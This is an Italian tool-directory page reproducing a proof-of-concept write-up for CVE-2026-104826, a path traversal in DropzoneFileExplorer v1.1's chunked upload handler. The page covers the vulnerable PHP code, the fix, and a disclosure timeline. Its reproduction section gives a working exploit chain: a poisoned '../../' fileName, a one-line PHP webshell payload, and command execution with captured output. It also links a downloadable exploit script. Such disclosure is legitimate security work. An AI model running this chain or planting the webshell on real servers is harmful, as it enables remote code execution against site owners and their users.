Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-104826 — Proof-of-concept della catena di exploit per CVE-2026-104826, un path traversal nel gestore di upload a chunk di DropzoneFileExplorer che scrive un webshell PHP per l'esecuzione di codice in remoto. | Kitploit
Strumenti/GitHubGitHub/kiwknr/cve-2026-104826
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingStrumento di Accesso Remoto
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Proof-of-concept della catena di exploit per CVE-2026-104826, un path traversal nel gestore di upload a chunk di DropzoneFileExplorer che scrive un webshell PHP per l'esecuzione di codice in remoto.

Vedi Repository
11 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-104826 - Path traversal verso RCE in DropzoneFileExplorer

Il gestore di upload resumable (a chunk) si fida del fileName fornito dal client fino a fopen(). Passagli ../../ e scrivi fuori dalla cartella consentita, fuori dalla root di storage, dentro la web root. L'applicazione serve PHP, quindi il file che pianti viene eseguito.

Progetto: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AdvisoryGHSA-7626-89vx-5rpc
ClasseCWE-22 (Path Traversal) -> CWE-434 -> RCE
Authautenticato di default, non autenticato se AUTH_ENABLE=false
CVSS v4.08.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Affectedv1.1 (testato al commit 68858e0)
Fixed inv1.2
CreditKanarat Kaeothong (Axiom0x)

Dove si rompe

Due funzioni contano. uploadInit prende fileName dal body della richiesta e lo conserva senza farci nulla se non un trim() (inc/functions.php, intorno a L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize in seguito lo rilegge e assembla il percorso di output (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() di per sé va bene. Chiama realpath() e si assicura che il percorso rimanga sotto le root dell'utente. Il problema è ciò che gli viene passato. $destBaseAbs e $finalDirAbs sono entrambi validati, ma $finalAbs, quello che contiene effettivamente il fileName dell'attaccante, non lo è mai. fopen() riceve la stringa grezza .../shared/../../app/shell.php e il sistema operativo collassa i .. per te.

Da notare: ogni altro percorso di scrittura in questo codebase o fa passare il percorso composto attraverso ensure_inside_allowed_roots() o avvolge il nome in basename(). Questo non fa né l'uno né l'altro. Sembra un punto che è stato rifattorizzato e il controllo finale è andato perso.

Riproduzione

v1.1 stock, configurazione di default (AUTH_ENABLE=true). L'attore è un utente normale lowpriv la cui unica cartella è shared.

  1. Accedi come lowpriv (recupera il token CSRF dalla pagina di login, poi invia in POST auth_action=login).

  2. Conferma che la sandbox funziona davvero. Caricare direttamente nella cartella di qualcun altro viene rifiutato:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Usa la cartella consentita, ma avvelena fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Invia il payload come un singolo chunk:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Finalizza:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    La risposta riporta app/pwned.php. L'applicazione stessa ti sta dicendo che ha scritto fuori da shared e fuori dalla root di storage.

  6. Esegui:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

Dalla mia esecuzione contro un'istanza locale:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

Vedi poc/exploit.py per la catena completa (login, CSRF, poison, chunk, finalize, execute).

Impatto

Chiunque sia autorizzato a caricare può scrivere un file ovunque il processo PHP possa scrivere, indipendentemente da ciò che dicono le regole delle cartelle per utente. Un file .php nella web root è esecuzione di codice remoto come utente web. Con AUTH_ENABLE=false non c'è alcuno step di login ed è RCE non autenticato diretto.

Fix

In uploadFinalize, riduci fileName a un nome puro prima di aprirlo, e ricontrolla il percorso composto:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename() da solo ferma il traversal. Aggiungere il controllo ensure_inside_allowed_roots($finalAbs) è la versione belt-and-suspenders, e corrisponde a come il resto del codice già protegge le scritture. Lo stesso trattamento va applicato al ramo della policy rename (intorno a L2210) dove $finalName viene ricalcolato. Il maintainer ha rilasciato questo in v1.2.

Timeline

  • 2026-07-26 trovato, costruita ed eseguita la catena completa contro una v1.1 locale
  • 2026-07-27 segnalato privatamente (GitHub Security + email al maintainer)
  • 2026-07-27 aperto GHSA privato (GHSA-7626-89vx-5rpc)
  • 2026-07-28 il maintainer ha confermato e rilasciato v1.2, advisory pubblicato
  • 2026-10-02 GitHub CNA ha assegnato CVE-2026-104826

Riferimenti

  • Advisory: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-104826

Divulgazione coordinata, corretto prima che questo diventasse pubblico. Il PoC è deliberatamente mirato a un'istanza di test locale. Non puntarlo contro nulla che non possiedi.

Scarica lo strumento